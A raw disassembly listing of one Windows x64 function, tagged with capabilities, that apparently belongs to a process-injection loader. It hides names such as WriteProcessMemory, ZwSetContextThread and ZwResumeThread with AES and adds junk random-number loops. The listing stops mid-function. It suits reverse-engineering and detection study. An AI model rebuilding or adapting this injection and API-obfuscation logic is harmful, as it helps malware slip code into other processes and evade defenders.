Function at 0x140004c80
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3140]
mov eax, 0x3240
call fcn.14000be50
sub rsp, rax
mov rax, qword [0x140014040]
xor rax, rsp
mov qword [rbp + 0x3130], rax
mov qword [rsp + 0x70], r9
mov qword [rsp + 0x60], rdx
mov r12, rcx
call fcn.140003f90
mov r8d, 0x208
lea rdx, [rbp + 0x1d10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140004ceb
mov eax, 0xfffffffe
jmp 0x1400067ef
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x140004d3f
lea rdx, str.Failed_to_get_handle_to_kernel32.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov eax, 1
jmp 0x1400067ef
xor r14d, r14d
mov ebx, r14d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140004dfb
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x60], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140004d8d
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rbp - 0x60]
mov ecx, eax
shl edx, cl
mov eax, dword [rbp - 0x60]
xor eax, edx
mov dword [rsp + 0x50], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140004db1
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rsp + 0x50]
mov ecx, eax
sar edx, cl
mov eax, dword [rsp + 0x50]
xor eax, edx
mov dword [rsp + 0x50], eax
mov ecx, dword [rsp + 0x50]
mov eax, dword [rbp - 0x60]
imul ecx, eax
mov dword [rsp + 0x58], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140004d70
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x19d0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x1990]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
lea rdx, str.WriteProcessMemory
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
mov rcx, qword [0x140016350]
mov qword [rbp - 0x18], rcx
lea rcx, [rbp + 0x518]
call fcn.140003260
nop
lea rdx, str.Obfuscated_String:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008430
lea rdx, [rbp + 0x518]
cmp qword [rbp + 0x530], 0xf
cmova rdx, qword [rbp + 0x518]
mov r8, qword [rbp + 0x528]
mov rcx, rax
call fcn.140009250
lea rdx, [0x140008610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x518]
lea rcx, [rbp + 0x4d8]
call fcn.140003900
nop
lea rdx, str.Hex_Representation:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008430
lea rdx, [rbp + 0x4d8]
cmp qword [rbp + 0x4f0], 0xf
cmova rdx, qword [rbp + 0x4d8]
mov r8, qword [rbp + 0x4e8]
mov rcx, rax
call fcn.140009250
lea rdx, [0x140008610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x1950]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x1940]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0x1990]
lea r8, [rbp + 0x19d0]
lea rdx, [rbp + 0x518]
lea rcx, [rbp + 0x578]
call fcn.140003620
nop
lea rdx, [rbp + 0x578]
lea rcx, [rbp - 0x80]
call fcn.140003900
mov rdi, rax
lea rdx, str.Encrypted_String__Hex_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008430
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140004fa0
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140009250
lea rdx, [0x140008610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140004ffc
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ff6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ff6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000b180
nop
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0x1990]
lea r8, [rbp + 0x19d0]
lea rdx, [rbp + 0x578]
lea rcx, [rbp + 0x4f8]
call fcn.140003620
nop
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14000504e
lea rdx, str.Failed_to_get_module_handle_for_ntdll.dll
jmp 0x14000507f
lea rdx, [rbp + 0x4f8]
cmp qword [rbp + 0x510], 0xf
cmova rdx, qword [rbp + 0x4f8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x1400050a5
lea rdx, str.Failed_to_get_address_of_ZwSetContextThread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
lea rdx, [0x140008610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 1
jmp 0x140006688
mov ecx, 0x100
call fcn.14000b188
mov rdi, rax
mov ecx, 0x100
call fcn.14000b188
mov rsi, rax
mov dword [rbp - 0x5c], r14d
mov dword [rbp - 0x58], r14d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x1bd0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x19c0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rbx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 0xf
lea r9, str.ZwResumeThread
lea r8, [rbp - 0x5c]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x5c]
add rdx, rdi
lea r8, [rbp + 0x4d0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x4d0]
add dword [rbp - 0x5c], eax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
mov dword [rsp + 0x20], 8
lea r9, [rbp - 0x18]
lea r8, [rbp - 0x58]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
movsxd rdx, dword [rbp - 0x58]
add rdx, rsi
lea r8, [rbp + 0x4d0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
mov eax, dword [rbp + 0x4d0]
add dword [rbp - 0x58], eax
mov dword [rbp - 0x54], r14d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x5c]
mov dword [rsp + 0x20], eax
mov r9, rdi
lea r8, [rbp - 0x54]
lea rdx, [rbp + 0x1c10]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x54]
lea rdx, [rbp + 0x1c10]
add rdx, rax
lea r8, [rbp + 0x4d0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x4d0]
add dword [rbp - 0x54], eax
mov qword [rbp - 0x38], r14
mov dword [rbp - 0x50], r14d
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_256_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
mov eax, dword [rbp - 0x58]
mov dword [rsp + 0x20], eax
mov r9, rsi
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
movsxd rax, dword [rbp - 0x50]
lea rdx, [rbp - 0x38]
add rdx, rax
lea r8, [rbp + 0x4d0]
mov rcx, rbx
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
mov eax, dword [rbp + 0x4d0]
add dword [rbp - 0x50], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, r14d
xor eax, eax
mov r15d, eax
mov r13d, eax
mov dword [rsp + 0x50], eax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x68]
sub rax, rcx
mov qword [rbp + 0x558], rax
mov rax, qword [rsp + 0x58]
sub rax, rcx
mov qword [rbp + 0x560], rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
sub rax, rcx
mov qword [rbp + 0x568], rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
sub rax, rcx
mov qword [rbp + 0x570], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
sub rax, rcx
mov qword [rbp + 0x598], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x14000535a
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005412
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x1400053ac
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005409
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x558]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x1a10]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400053dd
lea rdx, str.Failed_to_encrypt_data
jmp 0x14000538e
movsxd rsi, dword [rbp - 0x60]
lea rdx, [rbp + 0x1a10]
add rdx, rsi
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x140005406
lea rdx, str.Failed_to_finalize_encryption
jmp 0x14000538e
add esi, dword [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005448
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005501
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x14000549a
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400054f8
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x560]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x1a50]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400054cb
lea rdx, str.Failed_to_encrypt_data
jmp 0x14000547c
movsxd r14, dword [rbp - 0x60]
lea rdx, [rbp + 0x1a50]
add rdx, r14
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400054f4
lea rdx, str.Failed_to_finalize_encryption
jmp 0x14000547c
add r14d, dword [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005537
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400055f0
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140005589
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400055e7
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x568]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x1a90]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400055ba
lea rdx, str.Failed_to_encrypt_data
jmp 0x14000556b
movsxd r15, dword [rbp - 0x60]
lea rdx, [rbp + 0x1a90]
add rdx, r15
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400055e3
lea rdx, str.Failed_to_finalize_encryption
jmp 0x14000556b
add r15d, dword [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005626
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400056df
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140005678
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400056d6
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x570]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x1ad0]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400056a9
lea rdx, str.Failed_to_encrypt_data
jmp 0x14000565a
movsxd r13, dword [rbp - 0x60]
lea rdx, [rbp + 0x1ad0]
add rdx, r13
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400056d2
lea rdx, str.Failed_to_finalize_encryption
jmp 0x14000565a
add r13d, dword [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005715
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400057d5
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140005767
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400057cc
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x598]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x1b10]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140005798
lea rdx, str.Failed_to_encrypt_data
jmp 0x140005749
movsxd rbx, dword [rbp - 0x60]
mov dword [rsp + 0x50], ebx
lea rdx, [rbp + 0x1b10]
add rdx, rbx
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400057c5
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140005749
add ebx, dword [rbp - 0x60]
mov dword [rsp + 0x50], ebx
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
xor ebx, ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140005863
nop dword [rax + rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x60], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub edi, ecx
mov ecx, dword [rbp - 0x60]
add ecx, edi
mov dword [rsp + 0x58], ecx
mov ecx, dword [rsp + 0x58]
mov eax, dword [rbp - 0x60]
sub ecx, eax
mov dword [rsp + 0x58], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140005800
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005899
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005942
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400058cf
lea rdx, str.Failed_to_initialize_decryption
jmp 0x14000591d
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x1a10]
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400058f9
lea rdx, str.Failed_to_decrypt_data
jmp 0x14000591d
movsxd rax, dword [rbp - 0x60]
lea rdx, [rbp - 0x10]
add rdx, rax
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140005939
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
lea rdx, [0x140008610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
